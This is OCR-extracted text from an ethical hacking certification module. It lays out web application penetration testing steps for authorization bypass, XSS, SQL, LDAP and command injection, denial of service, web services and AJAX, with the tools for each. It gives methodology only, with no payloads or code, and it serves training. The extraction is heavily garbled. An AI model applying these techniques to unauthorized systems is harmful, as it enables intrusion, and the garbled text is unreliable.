e x p o s e d  s e s s i o n  v a r i a b l e s  b y  i n s p e c t i n g  e n c r y p t i o n  a n d  r e u s e  o f  s e s s i o n  t o k e n ,  p r o x i e s  a n d  

c a c h i n g ,  GET a n d  PO ST,  a n d  t r a n s p o r t  v u l n e r a b i l i t i e s .

S t e p  5 :  T e s t  f o r  CSRF  ( C r o s s  S i t e  R e q u e s t  F o r g e r y )

E x a m i n e  t h e  URLs in t h e  r e s t r i c t e d  a r e a  t o  t e s t  f o r  CSRF.  A CSRF a t t a c k  c o m p r o m i s e s  e n d - u s e r  

d a t a  a n d  o p e r a t i o n  o r  t h e  e n t i r e  w e b  a p p l i c a t i o n .
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A u t h o r i z a t i o n  T e s t i n g C
teftMM

E H
ItkMJl Nm Im

START

y  Can gain access to  

reserved in fo rm a tio n

© Test fo r  path traversal by perform ing inpu t vecto r enum eration and analyzing the  inp u t va lida tion  func tions  present in 
the web application

e  Test fo r  bypassing authorization schema by examining the adm in functiona lities, to  gain access to  the resources 
assigned to  a d iffe rent role

Test fo ט r  ro le /p riv ilege m anipu la tion

Copyright © by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

A u t h o r i z a t i o n  T e s t i n g

F o l l o w  t h e  s t e p s  h e r e  t o  t e s t  t h e  w e b  a p p l i c a t i o n  a g a i n s t  a u t h o r i z a t i o n  

v u l n e r a b i l i t i e s :

S t e p  1:  T e s t  f o r  p a t h  t r a v e r s a l

T e s t  f o r  p a t h  t r a v e r s a l  b y  p e r f o r m i n g  i n p u t  v e c t o r  e n u m e r a t i o n  a n d  a n a l y z i n g  t h e  i n p u t  

v a l i d a t i o n  f u n c t i o n s  p r e s e n t  in t h e  w e b  a p p l i c a t i o n .  P a t h  t r a v e r s a l  a l l o w s  a t t a c k e r s  t o  g a i n  

a c c e s s  t o  r e s e r v e d  i n f o r m a t i o n .

S t e p  2 :  T e s t  f o r  b y p a s s i n g  a u t h o r i z a t i o n  s c h e m a

T e s t  f o r  b y p a s s i n g  a u t h o r i z a t i o n  s c h e m a  b y  e x a m i n i n g  t h e  a d m i n  f u n c t i o n a l i t i e s ,  t o  g a i n  a c c e s s  

t o  t h e  r e s o u r c e s  a s s i g n e d  t o  a  d i f f e r e n t  r o l e .  If t h e  a t t a c k e r  s u c c e e d s  in b y p a s s i n g  t h e  

a u t h o r i z a t i o n  s c h e m a ,  h e  o r  s h e  c a n  g a i n  i l l ega l  a c c e s s  t o  r e s e r v e d  f u n c t i o n s / r e s o u r c e s .

S t e p  3 :  T e s t  f o r  p r i v i l e g e  e s c a l a t i o n

T e s t  f o r  r o l e / p r i v i l e g e  m a n i p u l a t i o n .  If t h e  a t t a c k e r  h a s  a c c e s s  t o  r e s o u r c e s / f u n c t i o n a l i t y ,  t h e n  

h e  o r  s h e  c a n  p e r f o r m  a  p r i v i l e g e  e s c a l a t i o n  a t t a c k .
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D a t a  V a l i d a t i o n  T e s t i n g  C E H
U rtifM  itfciui Nm Im

START

Detect and analyze input vectors for potential vulnerabilities, analyze the 
vulnerability report and attempt to exploit it. Use tools such asOWASP CAL9000, 
WebScarab, XSS-Proxy, ratproxy, and Burp Proxy
Analyze HTML code, test for Stored XSS, leverageStoredXSS,verifyifthefile 
upload allows setting arbitrary MIME types using tools such asOWASP CAL9000, 
Hackvertor, BeEF, XSS-Proxy, Backframe, WebScarab, Burp,and XSS Assistant

9 Perform source code analysis to identify JavaScript coding errors
9 Analyze SWF files using tools such as SWFIntruder, Decompiler ־ Flare, Compiler

 MTASC, Disassembler -Flasm,Swfmil I, and Debugger Version of Flash ־
Plugi n/Player

9 Perform Standard SQL Injection Testing, Union Query SQL Injection Testing, 
Blind SQL Injection Testing, and Stored Procedure Injection using tools suchas 
OWASP SQLiX, sqlninja, SqlDumper, sqlbftools, SQL Power Injector, etc.

« Use a trial and error approach by inserting'(',' I', and the other
characters in order to check the appl i cati on for errors. Use the tool Softerra 
LDAP Browser

Session cookie 
inform ation

Test fo r  s to re d  

cross-s ite  sc rip tin g

Test fo r  D O M -based 

cross-s ite  sc rip tin g

Sensitive inform ation  
such as session 

authorization tokens

Cookie inform ation

Inform ation  on DOM- 
based cross-site 

scripting vulnerabilities

< .......
Test fo r  cross s ite  

fla sh in g
Sensitive inform ation  
about users and hosts

Database inform ation < .......
P e rfo rm  SQL 

in je c tio n  te s tin g

__ ^  P e rfo rm  LDAP

in je c tio n  te s tin g
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D a t a  V a l i d a t i o n  T e s t i n g

W e b  a p p l i c a t i o n s  m u s t  e m p l o y  p r o p e r  d a t a  v a l i d a t i o n  m e t h o d s .  O t h e r w i s e ,  t h e r e  m a y  

b e  a  c h a n c e  f o r  t h e  a t t a c k e r  t o  b r e a k  i n t o  t h e  c o m m u n i c a t i o n  b e t w e e n  t h e  c l i e n t  a n d  t h e  

s e r v e r ,  a n d  i n j e c t  m a l i c i o u s  d a t a .  H e n c e ,  t h e  d a t a  v a l i d a t i o n  p e n  t e s t i n g  m u s t  b e  c o n d u c t e d  t o  

e n s u r e  t h a t  t h e  c u r r e n t  d a t a  v a l i d a t i o n  m e t h o d s  o r  t e c h n i q u e s  e m p l o y e d  b y  t h e  w e b  

a p p l i c a t i o n  o f f e r  a p p r o p r i a t e  s e c u r i t y .  F o l l o w  t h e  s t e p s  h e r e  t o  p e r f o r m  d a t a  v a l i d a t i o n  t e s t i n g :

S t e p  1:  T e s t  f o r  r e f l e c t e d  c r o s s - s i t e  s c r i p t i n g

A r e f l e c t e d  c r o s s - s i t e  s c r i p t i n g  a t t a c k e r  c r a f t s  a  URL t o  e x p l o i t  t h e  r e f l e c t e d  XSS v u l n e r a b i l i t y  

a n d  s e n d s  it t o  t h e  c l i e n t  in a  s p a m  m a i l .  If t h e  v i c t i m  c l i ck s  o n  t h e  l i nk  c o n s i d e r i n g  it  a s  f r o m  a 

t r u s t e d  s e r v e r ,  t h e  m a l i c i o u s  s c r i p t  e m b e d d e d  b y  t h e  a t t a c k e r  in t h e  URL g e t s  e x e c u t e d  o n  t h e  

v i c t i m ' s  b r o w s e r  a n d  s e n d s  t h e  v i c t i m ' s  s e s s i o n  c o o k i e  t o  t h e  a t t a c k e r .  U s i n g  t h i s  s e s s i o n  

c o o k i e ,  t h e  a t t a c k e r  c a n  s t e a l  t h e  s e n s i t i v e  i n f o r m a t i o n  o f  t h e  v i c t i m .  H e n c e ,  t o  a v o i d  t h i s  k i n d  

o f  a t t a c k  y o u  m u s t  c h e c k  y o u r  w e b  a p p l i c a t i o n s  a g a i n s t  r e f l e c t e d  XSS a t t a c k s .  If y o u  p u t  p r o p e r  

d a t a  v a l i d a t i o n  m e c h a n i s m s  o r  m e t h o d s  in p l a c e ,  t h e n  y o u  c a n  d e t e r m i n e  e a s i l y  w h e t h e r  t h e  

URL c a m e  o r i g i n a l l y  f r o m  t h e  s e r v e r  o r  it  is c r a f t e d  b y  t h e  a t t a c k e r .  D e t e c t  a n d  a n a l y z e  i n p u t  

v e c t o r s  f o r  p o t e n t i a l  v u l n e r a b i l i t i e s ,  a n a l y z e  t h e  v u l n e r a b i l i t y  r e p o r t ,  a n d  a t t e m p t  t o  e x p l o i t  it .  

U s e  t o o l s  s u c h  a s  O W A S P  C A L 9 0 0 0 ,  H a c k v e r t o r ,  Be EF ,  X S S -P ro x y ,  B a c k f r a m e ,  W e b S c a r a b ,  XSS 

A s s i s t a n t ,  a n d  B u r p  P r o x y .
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Hacking W eb A pplications

S t e p  2 :  T e s t  f o r  s t o r e d  c r o s s - s i t e  s c r i p t i n g

A n a l y z e  H T M L  c o d e ,  t e s t  f o r  S t o r e d  XSS, l e v e r a g e  S t o r e d  XSS,  a n d  v e r i f y  if t h e  f i le  u p l o a d  a l l o w s  

s e t t i n g  a r b i t r a r y  M I M E  t y p e s  u s i n g  t o o l s  s u c h  a s  O W A S P  C A L 9 0 0 0 ,  H a c k v e r t o r ,  BeEF ,  X S S - P r o x y ,  

B a c k f r a m e ,  W e b S c a r a b ,  B u r p ,  a n d  XSS A s s i s t a n t .  S t o r e d  XSS a t t a c k s  a l l o w  a t t a c k e r s  t o  u n c o v e r  

s e n s i t i v e  i n f o r m a t i o n  s u c h  a s  s e s s i o n  a u t h o r i z a t i o n  t o k e n s .

S t e p  3 :  T e s t  f o r  D O M - b a s e d  c r o s s - s i t e  s c r i p t i n g

D O M  XSS a t t a c k  s t a n d s  f o r  d o c u m e n t  o b j e c t  m o d e l  b a s e d  c r o s s - s i t e  s c r i p t i n g  a t t a c k ,  w h i c h  

a f f e c t s  t h e  c l i e n t ' s  b r o w s e r  s c r i p t  c o d e .  In t h i s  a t t a c k ,  t h e  i n p u t  is t a k e n  f r o m  t h e  u s e r  a n d  t h e n  

s o m e  m a l i c i o u s  a c t i o n  is p e r f o r m e d  w i t h  it ,  w h i c h  in t u r n  l e a d s  t o  t h e  e x e c u t i o n  o f  i n j e c t e d  

m a l i c i o u s  c o d e .  W e b  a p p l i c a t i o n s  c a n  b e  t e s t e d  a g a i n s t  D O M  XSS a t t a c k s  b y  p e r f o r m i n g  s o u r c e  

c o d e  a n a l y s i s  t o  i d e n t i f y  J a v a S c r i p t  c o d i n g  e r r o r s .

S t e p  4 :  T e s t  f o r  c r o s s  s i t e  f l a s h i n g

A n a l y z e  S W F  f i l e s  u s i n g  t o o l s  s u c h  a s  S W F I n t r u d e r ,  D e c o m p i l e r  - F l a r e ,  C o m p i l e r  - M T A S C,  

D i s a s s e m b l e r  - F l a s m ,  S w f m i l l ,  a n d  D e b u g g e r  V e r s i o n  o f  t h e  F l a s h  P l u g i n / P l a y e r .  F l a w e d  f l a s h  

a p p l i c a t i o n s  m a y  c o n t a i n  D O M - b a s e d  XSS v u l n e r a b i l i t i e s .  T h e  t e s t  f o r  c r o s s - s i t e  f l a s h i n g  g i v e s  

i n f o r m a t i o n  o n  D O M - b a s e d  c r o s s - s i t e  s c r i p t i n g  v u l n e r a b i l i t i e s .

S t e p  5 :  P e r f o r m  S Q L  i n j e c t i o n  t e s t i n g

P e r f o r m  s t a n d a r d  SQL i n j e c t i o n  t e s t i n g ,  u n i o n  q u e r y  SQL i n j e c t i o n  t e s t i n g ,  b l i n d  SQL i n j e c t i o n  

t e s t i n g ,  a n d  s t o r e d  p r o c e d u r e  i n j e c t i o n  u s i n g  t o o l s  s u c h  a s  O W A S P  SQLiX,  s q l n i n j a ,  S q l D u m p e r ,  

s q l b f t o o l s ,  SQL P o w e r  I n j e c t o r ,  e t c .  S Q L  i n j e c t i o n  a t t a c k s  g i v e  d a t a b a s e  i n f o r m a t i o n  t o  t h e  

a t t a c k e r .

S t e p  6 :  P e r f o r m  LD A P i n j e c t i o n  t e s t i n g

U s e  a  t r i a l  a n d  e r r o r  a p p r o a c h  b y  i n s e r t i n g  ' ( ' ,  11', a n d  t h e  o t h e r  c h a r a c t e r s  in o r d e r  t o

c h e c k  t h e  a p p l i c a t i o n  f o r  e r r o r s .  U s e  t h e  t o o l  S o f t e r r a  LDAP B r o w s e r .  T h e  LDAP i n j e c t i o n  m a y  

r e v e a l  s e n s i t i v e  i n f o r m a t i o n  a b o u t  u s e r s  a n d  h o s t s .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

CEHD a ta  V a lid a tio n  Testing
( C o n t ’d )

© D iscover v u ln e ra b il it ie s  o f  an ORM 

to o l and te s t w e b  a p p lica tio n s  th a t  use 
O RM. Use to o ls  such as H ibernate , 

N h ibe rna te , and Ruby On Rails

© Try to  in sert XM L m e ta cha rac te rs

© Find if  th e  w e b  se rve r a c tu a lly  
su p p o rts  SSI d ire c tive s  using to o ls  

such as W eb Proxy Burp Suite, OWASP 
ZAP, W ebScarab, S tring searcher: grep

© In je c t X P ath code  and in te r fe re  w ith  
th e  que ry  resu lt

© Id e n t ify  v u ln e ra b le  p a ram e te rs . 

U nders tand  th e  da ta  f lo w  and 
d e p lo ym e n t s tru c tu re  o f  th e  c lien t, 
and p e rfo rm  IMAP/SMTP com m a nd 

in je c tio n

In fo rm a tio n  o n  SQL 

in je c tio n  vu ln e ra b ility

In fo rm a tio n  a b o u t 

XM L s truc tu re

W eb server CGI 

e n v iro n m e n t variab les

Access co n fid e n tia l 

in fo rm a tio n

Access to  th e  backend 
m ail server

P e rfo rm  IM A P /S M T P  

in je c t io n  te s tin g

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

D a t a  V a l i d a t i o n  T e s t i n g  ( C o n t ’ d )

S t e p  7 :  P e r f o r m  O R M  i n j e c t i o n  t e s t i n g

P e r f o r m  O R M  i n j e c t i o n  t e s t i n g  t o  d i s c o v e r  v u l n e r a b i l i t i e s  o f  a n  O R M  t o o l  a n d  t e s t  w e b  

a p p l i c a t i o n s  t h a t  u s e  O R M .  U s e  t o o l s  s u c h  a s  H i b e r n a t e ,  N h i b e r n a t e ,  a n d  R u b y  O n  Rai l s .  T h i s  

t e s t  g i v e s  i n f o r m a t i o n  o n  SQL i n j e c t i o n  v u l n e r a b i l i t i e s .

S t e p  8 :  P e r f o r m  X M L  i n j e c t i o n  t e s t i n g

T o  p e r f o r m  X M L  i n j e c t i o n  t e s t i n g ,  t r y  t o  i n s e r t  XM L m e t a  c h a r a c t e r s  a n d  o b s e r v e  t h e  r e s p o n s e .  

A s u c c e s s f u l  XM L i n j e c t i o n  m a y  g i v e  i n f o r m a t i o n  a b o u t  X M L  s t r u c t u r e .

S t e p  9 :  P e r f o r m  SSI i n j e c t i o n  t e s t i n g

P e r f o r m  SSI i n j e c t i o n  t e s t i n g  a n d  f i n d  if t h e  w e b  s e r v e r  a c t u a l l y  s u p p o r t s  SSI d i r e c t i v e s  u s i n g  

t o o l s  s u c h  a s  W e b  P r o x y  B u r p  S u i t e ,  P a r o s ,  W e b S c a r a b ,  S t r i n g  s e a r c h e r :  g r e p .  If t h e  a t t a c k e r  c a n  

i n j e c t  SSI i m p l e m e n t a t i o n s ,  t h e n  h e  o r  s h e  c a n  s e t  o r  p r i n t  w e b  s e r v e r  CGI e n v i r o n m e n t  

v a r i a b l e s .

S t e p  1 0 :  P e r f o r m  X P a t h  i n j e c t i o n  t e s t i n g

I n j e c t  X P a t h  c o d e  a n d  i n t e r f e r e  w i t h  t h e  q u e r y  r e s u l t .  X P a t h  i n j e c t i o n  a l l o w s  t h e  a t t a c k e r  t o  

a c c e s s  c o n f i d e n t i a l  i n f o r m a t i o n .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

S t e p  1 1 :  P e r f o r m  I M A P / S M T P  i n j e c t i o n  t e s t i n g

P e r f o r m  I M A P / S M T P  i n j e c t i o n  t e s t i n g  t o  i d e n t i f y  v u l n e r a b l e  p a r a m e t e r s .  U n d e r s t a n d  t h e  d a t a  

f l o w  a n d  d e p l o y m e n t  s t r u c t u r e  o f  t h e  c l i e n t ,  a n d  p e r f o r m  I M A P / S M T P  c o m m a n d  i n j e c t i o n .  

M a l i c i o u s  I M A P / S M T P  c o m m a n d s  a l l o w  a t t a c k e r s  t o  a c c e s s  t h e  b a c k e n d  m a i l  s e r v e r .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

D a ta  V a lid a tio n  Testing
( C o n t ’d )

CEH

In jec t code (a m alicious URL) and perform  
source code analysis to  discover code 
in jection  vu lnerab ilities

Perform  m anual code analysis and craft 
m alicious HTTP requests using | to  te s t fo r 

OS com m and in jection attacks

Perform  m anual and au tom ated  code 
analysis using too ls  such as O llyDbg to  
detect bu ffe r ove rflow  cond ition

Upload a file  th a t exp lo its  a com ponent in 
th e  local user w o rks ta tio n , when viewed or 
dow nloaded by the  user, perform  XSS, and 
SQL in jection attack

Id e n tify  all user con tro lled  in p u t th a t 
influences one o r m ore headers in the  
response, and check w hether he o r she can 
successfully in ject a CR+LF sequence in it

In p u t va lid a tio n  

e rro rs
>״■

P erfo rm  OS . . . y  Loca l d a ta  and
com m anding system  in fo rm a tio n

y

P e rfo rm  b u ffe r Stack and heap m em o ry

o v e r f lo w  te s tin g
^  in fo rm a tio n , a p p lica tio n  

c o n tro l f lo w

y

P erfo rm  incuba ted Server c o n fig u ra tio n

v u ln e ra b il ity  te s tin g
'  and in pu t va lid a tio n  

schem es

y

Test fo r  HTTP . .. -y  Cookies, and HTTP
s p litt in g /s m u g g lin g re d ire c t in fo rm a tio n

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

D a t a  V a l i d a t i o n  T e s t i n g  ( C o n t ’ d )

S t e p  1 2 :  P e r f o r m  c o d e  i n j e c t i o n  t e s t i n gי

T o  p e r f o r m  c o d e  i n j e c t i o n  t e s t i n g ,  i n j e c t  c o d e  (a  m a l i c i o u s  URL) a n d  p e r f o r m  s o u r c e  c o d e  

a n a l y s i s  t o  d i s c o v e r  c o d e  i n j e c t i o n  v u l n e r a b i l i t i e s .  It g i v e s  i n f o r m a t i o n  a b o u t  i n p u t  v a l i d a t i o n  

e r r o r s .

S t e p  1 3 :  P e r f o r m  O S  c o m m a n d i n g

P e r f o r m  m a n u a l  c o d e  a n a l y s i s  a n d  c r a f t  m a l i c i o u s  HTTP  r e q u e s t s  u s i n g  | t o  t e s t  f o r  O S  

c o m m a n d  i n j e c t i o n  a t t a c k s .  O S  c o m m a n d i n g  m a y  r e v e a l  l o ca l  d a t a  a n d  s y s t e m  i n f o r m a t i o n .

S t e p  1 4 :  P e r f o r m  b u f f e r  o v e r f l o w  t e s t i n g

P e r f o r m  m a n u a l  a n d  a u t o m a t e d  c o d e  a n a l y s i s  u s i n g  t o o l s  s u c h  a s  O l l y D b g  t o  d e t e c t  b u f f e r  

o v e r f l o w  c o n d i t i o n .  T h i s  m a y  h e l p  y o u  t o  d e t e r m i n e  s t a c k  a n d  h e a p  m e m o r y  i n f o r m a t i o n  a n d  

a p p l i c a t i o n  c o n t r o l  f l o w .

S t e p  1 5 :  P e r f o r m  i n c u b a t e d  v u l n e r a b i l i t y  t e s t i n g

U p l o a d  a  f i le  t h a t  e x p l o i t s  a  c o m p o n e n t  in t h e  l o ca l  u s e r  w o r k s t a t i o n ,  w h e n  v i e w e d  o r  

d o w n l o a d e d  b y  t h e  u s e r ,  p e r f o r m  XSS,  a n d  SQL i n j e c t i o n  a t t a c k s .  I n c u b a t e d  v u l n e r a b i l i t i e s  m a y  

g i v e  i n f o r m a t i o n  a b o u t  s e r v e r  c o n f i g u r a t i o n  a n d  i n p u t  v a l i d a t i o n  s c h e m e s  t o  t h e  a t t a c k e r s .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

S t e p  1 6 :  T e s t  f o r  H T T P  s p l i t t i n g / s m u g g l i n g

I d e n t i f y  all  u s e r - c o n t r o l l e d  i n p u t  t h a t  i n f l u e n c e s  o n e  o r  m o r e  h e a d e r s  in t h e  r e s p o n s e  a n d  c h e c k  

w h e t h e r  h e  o r  s h e  c a n  s u c c e s s f u l l y  i n j e c t  a  CR+LF s e q u e n c e  in it .  A t t a c k e r s  p e r f o r m  HTTP  

s p l i t t i n g / s m u g g l i n g  t o  g e t  c o o k i e s  a n d  HTTP  r e d i r e c t  i n f o r m a t i o n .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

CEHD e n i a l ־ o f ־ S e r v i c e  T e s t i n g

d Craft a query th a t w ill no t re tu rn  a result and 
includes several w ildcards. Test m anually or 
em ploy a fuzzer to  au tom a te  th e  process

6  Test th a t an account does indeed lock a fte r a 
certa in num ber o f fa iled logins. Find places 
w here the  app lica tion discloses th e  difference 
between valid and invalid  logins

Perform  a m anual source code analysis and 
subm it a range o f inputs w ith  varying lengths 
to  the  app lica tion

Find where th e  num bers subm itted  as a 
nam e/va lue  pair m ight be used by the  
app lica tion code and a tte m p t to  set th e  value 
to  an extrem ely large num eric  va lue, then  see 
if  th e  server continues to  respond

A p p lica tio n

in fo rm a tio n

Login a ccou n t 
in fo rm a tio n

Test fo r  lock ing  

cus to m e r accounts

B u ffe r  o v e r f lo w  

po in ts

M a x im u m  num ber o f  

■> o b je c ts  th a t a p p lica tio n  
can handle

Test fo r  b u ffe r  

o ve rflo w s

Test fo r  user spec ified  

o b je c t a llo ca tion

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.I
D e n i a l ־ o f ־ S e r v i c e  T e s t i n g

T o  c h e c k  y o u r  w e b  a p p l i c a t i o n  a g a i n s t  D o S  a t t a c k s ,  f o l l o w  t h e s e  s t e p s  :

S t e p l :  T e s t  f o r  SQ L  w i l d c a r d  a t t a c k s

C r a f t  a  q u e r y  t h a t  wi l l  n o t  r e t u r n  a  r e s u l t  a n d  i n c l u d e s  s e v e r a l  w i l d c a r d s .  T e s t  m a n u a l l y  o r  

e m p l o y  a  f u z z e r  t o  a u t o m a t e  t h e  p r o c e s s .

S t e p 2 :  T e s t  f o r  l o c k i n g  c u s t o m e r  a c c o u n t s

T e s t  t h a t  a n  a c c o u n t  d o e s  i n d e e d  l o c k  a f t e r  a  c e r t a i n  n u m b e r  o f  f a i l e d  l o g i n s .  F in d  p l a c e s  w h e r e  

t h e  a p p l i c a t i o n  d i s c l o s e s  t h e  d i f f e r e n c e  b e t w e e n  v a l i d  a n d  i n v a l i d  l o g i n s .  If y o u r  w e b  a p p l i c a t i o n  

d o e s n ' t  l o c k  c u s t o m e r  a c c o u n t s  a f t e r  a  c e r t a i n  n u m b e r  o f  f a i l e d  l o g i n s ,  t h e n  t h e r e  is a 

p o s s i b i l i t y  f o r  t h e  a t t a c k e r  t o  c r a c k  c u s t o m e r  p a s s w o r d s  b y  e m p l o y i n g  b r u t e  f o r c e  a t t a c k s ,  

d i c t i o n a r y  a t t a c k s ,  e t c .

S t e p 3 :  T e s t  f o r  b u f f e r  o v e r f l o w s

P e r f o r m  a  m a n u a l  s o u r c e  c o d e  a n a l y s i s  a n d  s u b m i t  a  r a n g e  o f  i n p u t s  w i t h  v a r y i n g  l e n g t h s  t o  t h e  

a p p l i c a t i o n  t o  t e s t  f o r  b u f f e r  o v e r f l o w s .

S t e p 4 :  T e s t  f o r  u s e r  s p e c i f i e d  o b j e c t  a l l o c a t i o n

F in d  w h e r e  t h e  n u m b e r s  s u b m i t t e d  a s  a  n a m e / v a l u e  p a i r  m i g h t  b e  u s e d  b y  t h e  a p p l i c a t i o n  c o d e  

a n d  a t t e m p t  t o  s e t  t h e  v a l u e  t o  a n  e x t r e m e l y  l a r g e  n u m e r i c  v a l u e ,  a n d  t h e n  s e e  if t h e  s e r v e r
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c o n t i n u e s  t o  r e s p o n d .  If t h e  a t t a c k e r  k n o w s  t h e  m a x i m u m  n u m b e r  o f  o b j e c t s  t h a t  t h e  

a p p l i c a t i o n  c a n  h a n d l e ,  h e  o r  s h e  c a n  e x p l o i t  t h e  a p p l i c a t i o n  b y  s e n d i n g  o b j e c t s  b e y o n d  

m a x i m u m  l im i t .

Ethical Hacking and  C o u n te rm easu re s  Exam 312-50 C ertified Ethical H acker
Hacking W eb A pplications
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D e n i a l ־ o f ־ S e r v i c e  T e s t i n g
( C o n t ’d )

© Enter an extremely large num ber in 
the  inpu t fie ld tha t is used by 
application as a loop counter

© Use a script to  autom atica lly submit 
an extrem ely long value to  the server 
in the request th a t is being logged

© Identify and send a large number o f 
requests tha t perfo rm  database 
operations and observe any 
slowdown o r new error messages

© Create a script to  autom ate the 
creation o f many new  sessions w ith  
the server and run the request that is 
suspected o f caching the  data w ithin 
the session fo r each one

Logical e rro rs  in an 

application

W rite  user provided w. Local,״•
data to  disk disks exhaustion

P ►־ rogram m ing flaws

Session m anagem ent 

e rro rs

Test fo r  p roper 
release o f resources

V

Test fo r  storing too  
m uch data in session
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D e n i a l ־ o f ־ S e r v i c e  T e s t i n g  ( C o n t ’ d )

S t e p 5 :  T e s t  f o r  u s e r  i n p u t  a s  a  l o o p  c o u n t e r

T e s t  f o r  u s e r  i n p u t  a s  a  l o o p  c o u n t e r  a n d  e n t e r  a n  e x t r e m e l y  l a r g e  n u m b e r  in t h e  i n p u t  f i e l d  t h a t  

is u s e d  b y  a p p l i c a t i o n  a s  a  l o o p  c o u n t e r .  If t h e  a p p l i c a t i o n  f a i l s  t o  e x h i b i t  i t s  p r e d e f i n e d  m a n n e r ,  

it  m e a n s  t h a t  a p p l i c a t i o n  c o n t a i n s  a  l o g i c a l  e r r o r .

S t e p 6 :  W r i t e  u s e r  p r o v i d e d  d a t a  t o  d i s k

U s e  a  s c r i p t  t o  a u t o m a t i c a l l y  s u b m i t  a n  e x t r e m e l y  l o n g  v a l u e  t o  t h e  s e r v e r  in t h e  r e q u e s t  t h a t  is 

b e i n g  l o g g e d .

S t e p 7 :  T e s t  f o r  p r o p e r  r e l e a s e  o f  r e s o u r c e s

I d e n t i f y  a n d  s e n d  a  l a r g e  n u m b e r  o f  r e q u e s t s  t h a t  p e r f o r m  d a t a b a s e  o p e r a t i o n s  a n d  o b s e r v e  

a n y  s l o w d o w n  o r  n e w  e r r o r  m e s s a g e s .

S t e p 8 :  T e s t  f o r  s t o r i n g  t o o  m u c h  d a t a  i n  s e s s i o n

C r e a t e  a  s c r i p t  t o  a u t o m a t e  t h e  c r e a t i o n  o f  m a n y  n e w  s e s s i o n s  w i t h  t h e  s e r v e r  a n d  r u n  t h e  

r e q u e s t  t h a t  is s u s p e c t e d  o f  c a c h i n g  t h e  d a t a  w i t h i n  t h e  s e s s i o n  f o r  e a c h  o n e .
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CEHWeb Services Testing

w To gather WS information use tools such as wsCh ess, Soaplite, CURL, Peri, etc. 
and online tools such as UDDI Browser, WSIndex, and Xmethods

» Use tools such as WSDigger, WebScarab, and Found stone to  automate web 
services security testing

«  Pass malformed SOAP messages to  XML parser or attach a very large string to  
the message. Use WSdigger to  perform automated XML structure testing

e Use web application vulnerability scanners such as WebScarab to  test XML 
content-level vulnerabilities

« Pass malicious content on the HTTP GET strings that invoke XML applications

» Craft an XML document (SOAP message) to  send to  a web service that contains 
malware as an attachment to  check if XML document has SOAP attachment 
vulnerability

» Attempt to  resend a sniffed XML message using Wireshark and WebScarab

In fo r m a t io n  a b o u t  

M IT M  v u ln e ra b il i ty

SOAP m e ssa ge  

in fo r m a t io n

In fo rm a t io n  a b o u t SQL, 

X Path, b u f fe r  o v e r flo w , 

and  c o m m a n d  in je c tio n  

v u ln e ra b ilit ie s

HTTP G ET/REST 

a t ta c k  v e c to rs

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  S e r v i c e s  T e s t i n g

Stepl: Gather WS information

Gather WS information using tools such as Net Square wsChess, Soaplite, CURL, Perl, etc. and 
online tools such as UDDI Browser, WSIndex, and Xmethods.

Step 2: Test WSDL

Test WSDL to determine various entry points of WSDL. You can automate web services security 
testing using tools such as WSDigger, WebScarab, and Foundstone.

Step 3: Test XML structural

Pass malformed SOAP messages to the XML parser or attach a very large string to the message. 
Use WSdigger to perform automated XML structure testing.

Step 4: Test XML content-level

Use web application vulnerability scanners such as WebScarab to test XML content-level 
vulnerabilities.

Step 5: Test HTTP GET parameters/REST

Pass malicious content on the HTTP GET strings that invoke XML applications.

Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil
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Step6: Test naughty SOAP attachments

Craft an XML document (SOAP message) to send to a web service that contains malware as an 
attachment to check if XML document has SOAP attachment vulnerability.

Step 7: Perform replay testing

Attempt to resend a sniffed XML message using Wireshark and WebScarab. This test gives 
information about MITM vulnerability.
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CEHAJAX Testing

AJAX a p p lic a t io n  c a ll 

e n d p o in ts

X M L H ttp R e q u e s t o b je c t ,  

J a v a S c rip t f i le s ,  AJAX 

f r a m e w o r k s

y

P a rs e  t h e  H T M L  a n d  

J a v a S c r ip t  f i le s

U s e  a p r o x y  t o ................ . v  F o rm a t o f  a p p lic a t io n

o b s e r v e  t r a f f i c re q u e s ts

8  E n u m e ra te  t h e  A JA X  c a ll e n d p o in t s  f o r  t h e  a s y n c h r o n o u s  c a lls  u s in g  t o o ls  s u c h  a s  S p ra ja x

ט  O b s e rv e  H T M L  a n d  J a v a S c r ip t  f i le s  t o  f in d  U R Ls o f  a d d i t io n a l  a p p l ic a t io n  s u r fa c e  e x p o s u r e

© U s e  p r o x ie s  a n d  s n i f f e r s  t o  o b s e rv e  t r a f f i c  g e n e r a te d  b y  u s e r - v ie w a b le  p a g e s  a n d  t h e  b a c k g ro u n d  a s y n c h ro n o u s

t r a f f i c  t o  t h e  A JA X  e n d p o in t s  in  o r d e r  t o  d e te r m in e  t h e  f o r m a t  a n d  d e s t in a t io n  o f  t h e  re q u e s ts

Copyright ©  by EC-Cauactl. All Rights Reserved. Reproduction is S trictly Prohibited.

A J A X  T e s t i n g

The following are the steps used to carry out AJAX pen testing:

Step 1: Test for AJAX

Enumerate the AJAX call endpoints for the asynchronous calls using tools such as Sprajax.

Step 2: Parse the HTML and JavaScript files

Observe HTML and JavaScript files to find URLs of additional application surface exposure.

Step 3: Use a proxy to observe traffic

Use proxies and sniffers to observe traffic generated by user-viewable pages and the 
background asynchronous traffic to the AJAX endpoints in order to determine the format and 
destination of the requests.
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Module Summary CEH
Urtiffetf itkNjI lUilwt

O rg a n iz a tio n s  to d a y  re ly  h e a v ily  o n  w e b  a p p lic a t io n s  a nd  W e b  2 .0  te c h n o lo g ie s  

to  s u p p o r t  key b us iness p rocesses a n d  im p ro v e  p e r fo rm a n c e

W ith  in c re a s in g  d e p e n d e n c e , w e b  a p p lic a t io n s  a nd  w e b  se rv ices  a re  in c re a s in g ly  b e in g  ta rg e te d  

